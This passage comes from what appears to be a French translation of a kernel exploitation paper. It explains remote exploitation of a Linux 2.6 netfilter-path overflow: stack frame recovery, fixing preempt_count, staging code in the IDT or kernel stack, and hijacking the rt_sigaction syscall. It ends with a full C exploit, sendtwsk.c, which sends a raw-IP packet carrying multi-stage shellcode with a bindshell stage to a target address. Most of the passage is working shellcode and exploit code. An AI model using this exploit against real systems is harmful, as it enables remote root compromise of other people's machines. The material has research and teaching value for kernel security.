"\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp - Récupère l'adresse de retour, soustrait 4 octets et déréférence le pointeur pour avoir l'offset/déplacement de nf_hook_slow(). L'ajoute à l'adresse de retour pour obtenir l'adresse de nf_hook_slow(). "\x8b\x04\x24" // mov (%esp),%eax "\x89\xc3" // mov %eax,%ebx "\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax - Trouve l'opcode 0xc3 dans nf_hook_slow(), éliminant les "faux" 0xc3. Dans ce shellcode, nous faisons un simple test pour les opcodes "movl" et c'est suffisant pour éviter les "faux positifs". Avec un plus grand shellcode, on pourrait écrire des petites fonctions de désassemblage qui nous permettraient de faire une meileure recherche de "ret" et "pop" [Vori plus loin]. increment: "\x40" // inc %eax "\x8a\x18" // mov (%eax),%bl "\x80\xfb\xc3" // cmp $0xc3,%bl "\x75\xf8" // jne increment "\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax) "\x74\xf2" // je increment "\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax) "\x74\xec" // je 8048351 increment - Retour depuis le "ret" qu'on a trouvé vers la dernière instruction pop, s'il y en a une, et on compte le nombre de "pop"s. pop: "\x31\xc9" // xor %ecx,%ecx "\x48" // dec %eax "\x8a\x18" // mov (%eax),%bl "\x80\xe3\xf0" // and $0xf0,%bl "\x80\xfb\x50" // cmp $0x50,%bl "\x75\x03" // jne end "\x41" // inc %ecx "\xeb\xf2" // jmp pop "\x40" // inc %eax - Utiliser ce déplacement calculé à partir du ret pour retrouver la valeur d'%esp "\x89\xc6" // mov %eax,%esi "\x31\xc0" // xor %eax,%eax "\xb0\x04" // mov $0x4,%al "\xf7\xe1" // mul %ecx "\x29\xc4" // sub %eax,%esp - Met la valeur de retour "\x31\xc0" // xor %eax,%eax - appelle l'épilogue de la fonction nf_hook_slow() "\xff\xe6" // jmp *%esi Il est maintenant temps de passer à la "deuxième étape", qui est de restaurer tous les verroux et autres objets de synchronisation vers un état cohérent pour la fonction nf_hook_slow(). ---[ 3.2.3 - Restauration des ressources Ici, nous faisons attention à restaure ces ressources qui sont nécessaire à la "fonction de retour détournée" [NDT : "hooked return function"] (et ses appelants) pour quitter le softirq ou l'interruption proprement. Jetons un autre coup d'oeil (plus attentif) à nf_hook_slow() : < linux-2.6.15/net/netfilter/core.c > int nf_hook_slow(int pf, unsigned int hook, struct sk_buff **pskb, struct net_device *indev, struct net_device *outdev, int (*okfn)(struct sk_buff *), int hook_thresh) { struct list_head *elem; unsigned int verdict; int ret = 0; /* We may already have this, but read-locks nest anyway */ rcu_read_lock(); [1] [...] unlock: rcu_read_unlock(); [2] return ret; [3] } < / > En [1], "rcu_read_lock()" est invoqué/acquis, mais [2] "rcu_read_unlock()" n'est jamais effectué, puisque lors du "Stack Frame Flow Recovery", nous avons déroulé la pile et sauté en [3]. "rcu_read_unlock()" est juste un alias de "preempt_enable()", qui, finalement se trouve être une simple décrémentation de un de la valeur de preemt_count dans la structure thread_info : < linux-2.6.15/include/linux/rcupdate.h > #define rcu_read_lock() preempt_disable() [...] #define rcu_read_unlock() preempt_enable() < / > < linux-2.6.15/include/linux/preempt.h > # define add_preempt_count(val) do { preempt_count() += (val); } while (0) # define sub_preempt_count(val) do { preempt_count() -= (val); } while (0) [...] #define inc_preempt_count() add_preempt_count(1) #define dec_preempt_count() sub_preempt_count(1) #define preempt_count() (current_thread_info()->preempt_count) #ifdef CONFIG_PREEMPT asmlinkage void preempt_schedule(void); #define preempt_disable() \ do { \ inc_preempt_count(); \ barrier(); \ } while (0) #define preempt_enable_no_resched() \ do { \ barrier(); \ dec_preempt_count(); \ } while (0) #define preempt_check_resched() \ do { \ if (unlikely(test_thread_flag(TIF_NEED_RESCHED))) \ preempt_schedule(); \ } while (0) #define preempt_enable() \ do { \ preempt_enable_no_resched(); \ barrier(); \ preempt_check_resched(); \ } while (0) #else #define preempt_disable() do { } while (0) #define preempt_enable_no_resched() do { } while (0) #define preempt_enable() do { } while (0) #define preempt_check_resched() do { } while (0) #endif < / > Comme vous pouvez le voir, si CONFIG_PREEMPT n'est pas mis, toutes ces opérations ne sont que des nop's. "preempt_disable()" est "emboitable", elle peut donc être appelée plein de fois (la preemption va être désactivée jusqu'à ce qu'on appelle "preempt_enable()" le même nombre de fois). Ça veut dire que, avec un noyau PREEMPT, nous devrions trouver une valeur plus grande ou égale à "1" dans preempt_count au "moment de l'exploitation". Nous pouvons juste ignorer cette valeur ou sinon, nous auront un BUG() plus tard dans le code du scheduler (voir preempt_schedule_irq() dans kernel/sched.c). Ce que nous devons faire, sur un noyau PREEMPT, est donc de trouver "preempt_count" et de le décrémenter, exactement comme aurait fait "rcu_read_unlock()". Sous x86, "preempt_count" se trouve dasn la "struct thread_info" : < linux-2.6.15/include/asm-i386/thread_info.h > struct thread_info { struct task_struct *task; /* main task structure */ struct exec_domain *exec_domain; /* execution domain */ unsigned long flags; /* low level flags */ unsigned long status; /* thread-synchronous flags */ __u32 cpu; /* current CPU */ int preempt_count; /* 0 => preemptable, <0 => BUG */ mm_segment_t addr_limit; /* thread address space: 0-0xBFFFFFFF for user-thead 0-0xFFFFFFFF for kernel-thread */ [...] < / > Voyons voir comment on le retrouve : - trouver la thread_struct "\x89\xe0" // mov %esp,%eax "\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax - scanner la thread_struct pour trouver la valeur de addr_limit. Cette valeur est une bonne emprunte, puisqu'elle vaut 0xc0000000 pour les processus en espace utilisateur et 0xffffffff pour ceux en mode noyau (ou les taches qui idlent). [Notez que cette sorte de scan peut être fait pour savoir dans quelle sorte de processus on se trouve, ça peut être très important dans certains scénarios]. /* scan: */ "\x83\xc0\x04" // add $0x4,%eax "\x8b\x18" // mov (%eax),%ebx "\x83\xfb\xff" // cmp $0xffffffff,%ebx "\x74\x0a" // je 804851e "\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx "\x74\x02" // je 804851e "\xeb\xec" // jmp 804850a - Décrémente la valeur de "preempt_count" [qui est juste le membre avant addr_limit] /* end: */ "\xff\x48\xfc" // decl 0xfffffffc(%eax) Pour améliorer de futurs shellcodes, il pourrait être une bonne idée d'effectuer un test sur la valeur de premmpt_count, pour être sûr de ne pas la descendre en dessous de zéro. ---[ 3.2.4 - Copier le code Nous venons juste de finir de présenter une méthode générique pour restaurer la pile après un "cassage général" des cadres de netfilter. Ce qu'on doit faire maintenant est de trouver de la place pour stocker notre shellcode, puisque nous ne pouvons pas (comme on l'a déjà dit) l'exécuter directement dans le contexte d'interruption. [Souvenez vous de la note, cette étape et la suivante sont exécutées avant de sortir du contexte du softirq]. Puisque nous ne savons presque rien sur le mappage mémoire de l'image du noyau distant, nous devons trouver un "endroit sûr" pour stocker notre shellcode, c'est à dire, on doit trouver une région mémoire qu'on peut référencer de manière sûre et qui ne créera pas de problèmes (lire : Oops) si écrasée. Il y a deux endroits où on peut copier notre shellcode "stage-2" : - IDT (Interrupt Description Table) : on peut facilement trouver l'adrese logique de l'IDT à l'exécution (comme on l'a vu plus haut avec l'exemple de "null dereference") et Linux n'utilise que le vecteur d'interruption logiciel 0x80 : +-----------------+ | exeptions | |-----------------| | interrputions | | matérielles | |-----------------| entrée #32 ==+ | | | | interruptions | | | logicielles | | partie utilisable | | | | | | | | ==+ | int 0x80 | entrée #128 | | +-----------------+ <- limite d'offset entre l'entrée #32 et l'entrée #128, nous avons des entrées inutilisées, toutes faisant 8 octets de long. Les Linux actuels ne mapent pas cette région mémoire en lecture seule [comme ça devrait être le cas], donc, nous pouvons y écrire. Nous avons alors : (128 - 32) * 8 = 98 * 8 = 174 octets, ce qui est suffisant pour notre shellcode "stage-2". [*] A partir des noyaux Linux 2.6.20, il est possible de mapper des zones mémoire en lecture seule [L'idt est juste l'une d'entre elles]. Puisqu'on ne "débute" pas par l'écriture dans l'IDT et son exécution, il serait possible de contourner ces protection en modifiant directement les protections de pages noyau dans une "étape précédente" du shellcode. - La pile noyau courante : nous avons ici besoin de faire une hypothèse, qui est d'être dans un processus qui durera un certain temps (jusqu'à ce qu nous soyons capables de rediriger le code noyau vers notre shellcode, comme on va le voir dans la section suivante). D'habiture, la pile ne grandis pas jusqu'aux 4ko, nous avons donc quasiment une page de 4ko pour nous (si bien sûr le système distant utilise une pile de 8 ko). Pour être sûr, on peut laisser un espace (pad) avant le shellcode. Nous devons faire attention à la "thread_struct" stockée au "pied" de la pile noyau (et que nous ne voulons logiquement pas écraser ;) ) : +-----------------+ | thread_struct | |---------------- | ==+ | | | espace utilisatble | | | |-----------------| ==+ | | | ^ | | | | [ normalement, la pile ne grandis ] | | | [ pas jusqu'à 4 Ko ] | | | ring0 stack | +-----------------+ En tout, nous avons : (8192 - 4096) - izeof(descriptor) - pad ~= 2048 octets, qui est encore plus que tout à l'heure. Avec un shellcode plus complexe, on peut traverser la table des processus et chercher un "processus sûr" (init, quelques threads noyaux, quelques processus de serveurs principaux). Jetons un coup d'oeil au shellcode qui effectue tout ça : - Récupérer l'adresse de la pile où nous sommes [le truc über-connu du call/pop] "\xe8\x00\x00\x00\x00" // call 51 "\x59" // pop %ecx - scanner la pile jusqu'à trouver le "promoteur" de notre morceau de "stage-2". Nous mettons un octet \xaa au début, et c'est le seul présent dans le shellcode. Le "addl $10" est juste là pour commencer le scan après le "cmp $0xaa, %al", qui nous donnerais sinon un faux positif pour \xaa. "\x83\xc1\x10" // addl $10, %ecx "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x3c\xaa" // cmp $0xaa,%al "\x75\xf9" // jne 52 - Nous avons trouvé le début du shellcode, copions-le dans un "endroit sûr" jusqu'à la "séquence terminatrice" (\xbb). L' "endroit sûr" ici est sauvegardé dans le registre %esi. Nous n'avons pas montré comment le calculer parce qu'il est directement dérivé du shellcode utilisé dans la prochaine section (c'est simplement quelque part dans la pile). Ce code pourrait être optimisé en sauvegardant le "stage-2" dans %ecx et utiliser rep/repnz en conjonction à des instructions mov. "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x88\x06" // mov %al,(%esi) "\x46" // inc %esi "\x41" // inc %ecx "\x80\x39\xbb" // cmpb $0xbb,(%ecx) "\x75\xf5" // jne 5a [ Pendant la phase de développement de l'exploit, nous avons changé la partie "stage-2" une paire de fois, c'est pour ça qu'on a gardé ce genre d'opérations de copies, même si c'est moins élégant :) ] ---[ 3.2.5 - Exécuter le code en mode utilisateur [ Donne moi vie ! ] OK, nous avons un "endroit sûr", tout ce que nous avons besoin maintenant est un "moment sûr", c'est à dire un contexte d'exécution pour s'y exécuter. La première solution "facile" qui pourrait venir à l'esprit serait d'écraser l'interruption logicielle #128 [int 0x80], pour qu'elle pointe vers notre code. Le premier processus lançant un appel système deviendrait notre "processus victime". Cette approche à de toute façon deux défauts majeurs : - Comme nous n'avons aucun moyen d'intercepter un processus utilisant sysenter pour accéder à l'espace noyau (que se passerait-il si ils le faisaient tous ? ça serait bête d'échouer de cette manière). - nous ne pouvons pas contrôler tous les processus qui sont "détournés" et ça serait "désastreux" si l'un d'entre eux était "init" ou un processus critique, puisque nous alons emprunter son espace utilisateur pour nous exécuter (un bindshell ou un connect-back n'est pas un processus qui dure peu de temps). Nous devons aller plus en profondeur dans le noyau pour effectuer un bon détournement. Notre choix a été d'utiliser la table des appels systèmes et de redirriger un appel système qui avait une grande probabilité d'être appelé et que nous sommes sûr qu'il ne soit pas utilisé dans init ou un processus critique. Notre choix, après une paire de tests, a été de détourner l'appel système rt_sigaction, mais ce n'est pas le seul. Ça a juste bien fonctionné pour nous. Pour trouver correctement la table des syscalls en mémoire, nous utilisons un bout de code que sd et devik ont présenté dans leur papier dans phrack [23] sur le patching de /dev/kmem : - nous récupérons l'adresse de la pile courante, calculons le début de la thread_struct et ajoutons 0x1000 (le pad) [valeur symbolique assez loins à la fois du summet de la pile et de la thread_struct]. Voici où nous mettons la valeur d'%esi que nous avions annoncée comme "magiquement déjà là" dans la partie shellcode discutée plus haut : "\x89\xe6" // mov %esp,%esi "\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi "\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi - le code de sd & devik légèrement adapté. "\x0f\x01\x0e" // sidtl (%esi) "\x8b\x7e\x02" // mov 0x2(%esi),%edi "\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi "\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx "\xc1\xe3\x10" // shl $0x10,%ebx "\x66\x8b\x1f" // mov (%edi),%bx "\x43" // inc %ebx "\x8a\x03" // mov (%ebx),%al "\x3c\xff" // cmp $0xff,%al "\x75\xf9" // jne 28 "\x8a\x43\x01" // mov 0x1(%ebx),%al "\x3c\x14" // cmp $0x14,%al "\x75\xf2" // jne 28 "\x8a\x43\x02" // mov 0x2(%ebx),%al "\x3c\x85" // cmp $0x85,%al "\x75\xeb" // jne 28 "\x8b\x5b\x03" // mov 0x3(%ebx),%ebx - Logiquement, nous avons besoin de sauvegarder l'adresse originale du syscall quelque part et nous avons décidé de la mettre juste avant le shellcode "stage-2" : "\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx "\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi) "\x8b\x13" // mov (%ebx),%edx "\x89\x56\xfc" // mov %edx,0xfffffffc(%esi) "\x89\x33" // mov %esi,(%ebx) Comme vous le voyez, nous sauvegardons l'adresse de l'entrée rt_sigaction [offset 0x2b8] dans la table de syscall (nous en aurons besoin au moment de la restauration, pour éviter de la racalculer une deuxième fois) et l'adresse originale de la fonction elle-même (le complément de ce qui est ci-dessus est la phase de restauration). Nous faisons pointer l'entrée rt_sigaction vers notre shellcode : %esi. Maintenant, il devrait être plus clair pourquoi la section précédente avait une adresse de destination "magique" dans %esi pour copier le code. Le premier processus effectuant un appel à rt_sigaction donnera vie à notre shellcode stage-2, qui est l'étape finale avant d'avoir notre connect-back ou notre bindshell qui s'exécute. [Ou n'importe quel shellcode que vous aimez ;) ] Nous sommes toujours en mode noyau, mais notre but final est d'exécuter le shellcode en mode utilisateur, nous avons donc besoin d'effectuer un paquet d'opérations. Il y a en gros deux méthodes (pas seulement deux, mais surement les plus faciles et plus efficaces) pour arriver à nos fins : - Trouver l'EIP sauvegardé, désactiver temporairement le flag de registre de contrôle WP, copier le shellcode quelque part en userland et réactiver le flag WP [ça peut être potentiellement dangeraux sur SMP]. Si le syscall est appellé via sysenter, l'EIP sauvegardé pointe dans la table de vsyscall, nous avons donc besoin de "scanner" le cadre de la pile "jusqu'au ret" (pas trop différent de ce qu'on a fait dans l'étape de "stack frame recovery", c'est juste plus facile ici), pour récupérer la vraie EIP sauvegardée après le "return du vsyscall" : 0xffffe410 <__kernel_vsyscall+16>: pop %ebp 0xffffe411 <__kernel_vsyscall+17>: pop %edx 0xffffe412 <__kernel_vsyscall+18>: pop %ecx 0xffffe413 <__kernel_vsyscall+19>: ret Comme on peut le voir, la première adresse exécutée en userspace (inscriptible) est à "saved *(ESP + 12)". - Trouver l'ESP sauvegardé ou utiliser les paramètres sauvegardés du syscall pointant vers un buffer en espace utilisateur, y copier le shellcode et écraser l'adresse EIP sauvegardée par ESP (ou l'adresse du buffer en espace utilisateur) La deuxième méthode est préférable (plus facile et plus sûre), mais si nous jouons avec une architecture qui supporte le NX-bit, ou avec un patch logiciel qui l'émule (pour marquer la pile et éventuellement le tas comme non-exécutable), nous devrions retourner à la première, plus intrusive sinon notre processus en mode utilisateur va juste segfaulter en tentant d'exécuter le shellcode. Puisque nous avons un contrôle total sur les données noyau relatives au processus, nous pouvons aussi copier le shellcode dans un endroit spécifié et puis modifier les protections de la page. [Pas différent de l'idée proposée plus haut pour les IDT en lecture seule dans la section de copiage du code]. Encore une fois, rentrons dans les détails : - le truc habituel du call/pop pour avoir l'adresse où nous sommes "\xe8\x00\x00\x00\x00" // call 8 "\x59" // pop %ecx - corrige la table des syscalls avec l'adresse originale de rt_sigaction [ si ces 0xff8 et 0xffc n'ont aucun sens pour vous, souvenez vous juste que nous ajoutons 0x1000 à l'adresse de thread_struct dans la pile pour calculer notre "endroit sûr" et que nous stockons juste avant, à la fois l'adresse de l'entrée de rt_sigaction dans la table des syscalls et l'adresse de la fonction elle-même. ] "\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx "\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx "\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax "\x89\x03" // mov %eax,(%ebx) - Trouve l'ESP userland et écrase l'EIP userlande avec lui [methode 2] "\x8b\x74\x24\x38" // mov 0x38(%esp),%esi "\x89\x74\x24\x2c" // mov %esi,0x2c(%esp) "\x31\xc0" // xor %eax,%eax - Une fois encore, nous utilisons un promoteur (\x22) pour localiser notre shellcode que nous voulons copier sur la pile. Appellons-le "shellcode stage-3". Nous utilisons juste un autre truc simple pour trouver le promoteur et éviter les faux positifs : au lieu de sauger après (comme on l'a fait pour le \xaa), nous mettons '(valeur promoteur) - 1' dans %al et l'incrémentons. La copie est exactement la même (avec les mêmes "notes") que nous avons déjà vu. "\xb0\x21" // mov $0x21,%al "\x40" // inc %eax "\x41" // inc %ecx "\x38\x01" // cmp %al,(%ecx) "\x75\xfb" // jne 2a "\x41" // inc %ecx "\x8a\x19" // mov (%ecx),%bl "\x88\x1e" // mov %bl,(%esi) "\x41" // inc %ecx "\x46" // inc %esi "\x38\x01" // cmp %al,(%ecx) "\x75\xf6" // jne 30 - retourne du syscall et laisse le processus terminer proprement en mode utilisateur. Le contrôle sera transféré à notre eip modifié et le shellcode sera exécuté. "\xc3" // ret Nous avons utilisé une valeur "fixe" pour trouver ESP/EIP en espace utilisateur, qui a très bien fonctionné pour les noyaux/applications noyau que nous avons testés (allant au syscall via int 0x80). Avec un peut plus de travail (qui vaut la peine), vous pouvez éviter ces hypothèses d'offsets en implémentant un code similaire à celui pour la technique de "stack frame recovery". Jetons un coup d'oeil aux EIP,ESP,CS et SS sauvegardés avant de sauter en mode noyau : pile ring0 : +--------+ | SS | | ESP | <--- ESP sauvegardé | EFLAG | | CS | | EIP | <--- EIP sauvegardé |...... | +--------+ Tous les noyaux "non patchés" auront les mêmes valeurs pour SS et CS et nous pouvons les utiliser comme empruntes pour localiser ESP et EIP (que nous pouvons testés pour voir si elles sont en dessous de PAGE_OFFSET [*]). [*] Comme nous l'avons déjà dit, les derniers noyaux il peut y avoir une autre séparations d'adresses utilisateur/noyau que 0xc0000000 [des configurations 2G/2G ou 1G/3G] Nous ne montrerons pas ici le shellcode "stage-3" puisque c'est un shellcode bindsehll "utilisateur" standard. Utilisez simplement celui dont vous avez besoin. ---[ 3.2.6 - Le Code : sendtwsk.c < stuff/expl/sendtwsk.c > #include #include #include #include #include #include #include /* from vuln module */ #define MAX_TWSKCHUNK 30 /* end */ #define NOP 0x90 #define OVERFLOW_NEED 20 #define JMP "\xe9\x07\xfe\xff\xff" #define SIZE_JMP (sizeof(JMP) -1) #define TWSK_PACKET_LEN (((MAX_TWSKCHUNK * sizeof(struct twsk_chunk)) + OVERFLOW_NEED) + SIZE_JMP \ + sizeof(struct twsk) + sizeof(struct iphdr)) #define TWSK_PROTO 37 #define DEFAULT_VSYSCALL_RET 0xffffe413 #define DEFAULT_VSYSCALL_JMP 0xc01403c0 /* * Trouve la valeur correcte.. alpha:/usr/src/linux/debug/article/remote/figaro/ip_figaro# ./roll val: 2147483680, 80000020 result: 512 val: 2147483681, 80000021 result: 528 */ #define NEGATIVE_CHUNK_NUM 0x80000020 char shellcode[]= /* détourne sys_rtsigaction() et copie le shellcode de niveau 2 (72) */ "\x90\x90" // nop; nop; [alignment] "\x89\xe6" // mov %esp,%esi "\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi "\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi "\x0f\x01\x0e" // sidtl (%esi) "\x8b\x7e\x02" // mov 0x2(%esi),%edi "\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi "\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx "\xc1\xe3\x10" // shl $0x10,%ebx "\x66\x8b\x1f" // mov (%edi),%bx "\x43" // inc %ebx "\x8a\x03" // mov (%ebx),%al "\x3c\xff" // cmp $0xff,%al "\x75\xf9" // jne 28 "\x8a\x43\x01" // mov 0x1(%ebx),%al "\x3c\x14" // cmp $0x14,%al "\x75\xf2" // jne 28 "\x8a\x43\x02" // mov 0x2(%ebx),%al "\x3c\x85" // cmp $0x85,%al "\x75\xeb" // jne 28 "\x8b\x5b\x03" // mov 0x3(%ebx),%ebx [get sys_call_table] "\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx [get sys_rt_sigaction offset] "\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi) [save sys_rt_sigaction] "\x8b\x13" // mov (%ebx),%edx "\x89\x56\xfc" // mov %edx,0xfffffffc(%esi) "\x89\x33" // mov %esi,(%ebx) [make sys_rt_sigaction point to our shellcode] "\xe8\x00\x00\x00\x00" // call 51 "\x59" // pop %ecx "\x83\xc1\x10" // addl $10, %ecx "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x3c\xaa" // cmp $0xaa,%al "\x75\xf9" // jne 52 "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x88\x06" // mov %al,(%esi) "\x46" // inc %esi "\x41" // inc %ecx "\x80\x39\xbb" // cmpb $0xbb,(%ecx) "\x75\xf5" // jne 5a /* trouve et décrémente le compteur preempt (32) */ "\x89\xe0" // mov %esp,%eax "\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax "\x83\xc0\x04" // add $0x4,%eax "\x8b\x18" // mov (%eax),%ebx "\x83\xfb\xff" // cmp $0xffffffff,%ebx "\x74\x0a" // je 804851e "\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx "\x74\x02" // je 804851e "\xeb\xec" // jmp 804850a "\xff\x48\xfc" // decl 0xfffffffc(%eax) /* stack frame recovery */ "\x58" // pop %eax "\x83\x3c\x24\x02" // cmpl $0x2,(%esp) "\x75\xf9" // jne 8048330 "\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp) "\x75\xf2" // jne 8048330 "\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp) "\x75\xeb" // jne 8048330 "\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp "\x8b\x04\x24" // mov (%esp),%eax "\x89\xc3" // mov %eax,%ebx "\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax "\x40" // inc %eax "\x8a\x18" // mov (%eax),%bl "\x80\xfb\xc3" // cmp $0xc3,%bl "\x75\xf8" // jne 8048351 "\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax) "\x74\xf2" // je 8048351 "\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax) "\x74\xec" // je 8048351 "\x31\xc9" // xor %ecx,%ecx "\x48" // dec %eax "\x8a\x18" // mov (%eax),%bl "\x80\xe3\xf0" // and $0xf0,%bl "\x80\xfb\x50" // cmp $0x50,%bl "\x75\x03" // jne 8048375 "\x41" // inc %ecx "\xeb\xf2" // jmp 8048367 "\x40" // inc %eax "\x89\xc6" // mov %eax,%esi "\x31\xc0" // xor %eax,%eax "\xb0\x04" // mov $0x4,%al "\xf7\xe1" // mul %ecx "\x29\xc4" // sub %eax,%esp "\x31\xc0" // xor %eax,%eax "\xff\xe6" // jmp *%esi /* fin du stack frame recovery */ /* stage-2 shellcode */ "\xaa" // promoteur stage-2 "\xe8\x00\x00\x00\x00" // call 8 "\x59" // pop %ecx "\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx "\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx "\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax "\x89\x03" // mov %eax,(%ebx) "\x8b\x74\x24\x38" // mov 0x38(%esp),%esi "\x89\x74\x24\x2c" // mov %esi,0x2c(%esp) "\x31\xc0" // xor %eax,%eax "\xb0\x21" // mov $0x21,%al "\x40" // inc %eax "\x41" // inc %ecx "\x38\x01" // cmp %al,(%ecx) "\x75\xfb" // jne 2a "\x41" // inc %ecx "\x8a\x19" // mov (%ecx),%bl "\x88\x1e" // mov %bl,(%esi) "\x41" // inc %ecx "\x46" // inc %esi "\x38\x01" // cmp %al,(%ecx) "\x75\xf6" // jne 30 "\xc3" // ret "\x22" // promoteur stage-3 start "\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax "\x57" // push edi "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 "\xf6\xd0" // not al "\xcd\x80" // int 80h "\x22" // terminaison stage-3 "\xbb"; // terminaison stage-2 /* fin du shellcode */ struct twsk_chunk { int type; char buff[12]; }; struct twsk { int chunk_num; struct twsk_chunk chunk[0]; }; void fatal_perror(const char *issue) { perror("issue"); exit(1); } void fatal(const char *issue) { perror("issue"); exit(1); } /* packet IP cheksum */ unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum; for(sum=0; nwords>0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum &0xffff); sum += (sum >> 16); return ~sum; } void prepare_packet(char *buffer) { unsigned char *ptr = (unsigned char *)buffer;; unsigned int i; unsigned int left; left = TWSK_PACKET_LEN - sizeof(struct twsk) - sizeof(struct iphdr); left -= SIZE_JMP; left -= sizeof(shellcode)-1; ptr += (sizeof(struct twsk)+sizeof(struct iphdr)); memset(ptr, 0x00, TWSK_PACKET_LEN); memcpy(ptr, shellcode, sizeof(shellcode)-1); /* shellcode must be 4 bytes aligned */ ptr += sizeof(shellcode)-1; for(i=1; i < left/4; i++, ptr+=4) *((unsigned int *)ptr) = DEFAULT_VSYSCALL_RET; *((unsigned int *)ptr) = DEFAULT_VSYSCALL_JMP; ptr+=4; printf("buffer=%p, ptr=%p\n", buffer, ptr); strcpy(ptr, JMP); /* jmp -500 */ } int main(int argc, char *argv[]) { int sock; struct sockaddr_in sin; int one = 1; const int *val = &one; printf("shellcode size: %d\n", sizeof(shellcode)-1); char *buffer = malloc(TWSK_PACKET_LEN); if(!buffer) fatal_perror("malloc"); prepare_packet(buffer); struct iphdr *ip = (struct iphdr *) buffer; struct twsk *twsk = (struct twsk *) (buffer + sizeof(struct iphdr)); if(argc < 2) { printf("Usage: ./sendtwsk ip"); exit(-1); } sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) fatal_perror("socket"); sin.sin_family = AF_INET; sin.sin_port = htons(12345); sin.sin_addr.s_addr = inet_addr(argv[1]); /* ip packet */ ip->ihl = 5; ip->version = 4; ip->tos = 16; ip->tot_len = TWSK_PACKET_LEN; ip->id = htons(12345); ip->ttl = 64; ip->protocol = TWSK_PROTO; ip->saddr = inet_addr("192.168.200.1"); ip->daddr = inet_addr(argv[1]); twsk->chunk_num = NEGATIVE_CHUNK_NUM; ip->check = csum((unsigned short *) buffer, TWSK_PACKET_LEN); if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) fatal_perror("setsockopt"); if (sendto(sock, buffer, ip->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)) < 0) fatal_perror("sendto"); return 0; } < / > ------[ 4 - Mots de la fin Avec la discussion sur l'exploitation à distance se termine ce papier. Nous avons présenté différents scénarios et différentes techniques d'exploitation et des "notes" que nous espérons qu'elles vous soient utiles. Ce papier était une sorte de récapitulatif d'approches plus générales que nous utilisons en ces années d'"exploitation noyau". Comme on l'a dit au début du papier, le noyau est une grosse et large bête, qui nous offre beaucoup de points d'"attaque" et qui a des contraintes plus sévères que l'exploitation en mode utilisateur. C'est aussi "relativement nouveau" et des améliorations (et des bugs logiques ou pas) arrivent. Dans le même temps, de nouvelles contre-mesures arrivent pour rendre l'"exploitation noyau" de plus en plus difficile. Le premier brouillon de ce papier a été écrit il y a quelques mois, nous nous excusons si quelques informations présentées ici sont périmées (ou déjà présentées ailleur et mal référencées par la biblio). Nous avons essayé d'ajouter une paire de commentaire dans le texte pour vous montrer les changements les plus récents. Donc, voici la fin, il reste juste assez de temps pour les remerciements. Merci de nous avoir lu jusqu'ici, nous espérons que vous avez apprécié le travail. Un clin d'oeil de dernière minute va aux gens de bitsec, qui on fait une chouette présentation sur l'exploitation noyau à la conférence blackhat [24]. Allez voir leur papiers/exploits pour avoir des exemples et une couverture des systèmes *BSD et windows. Salutations et 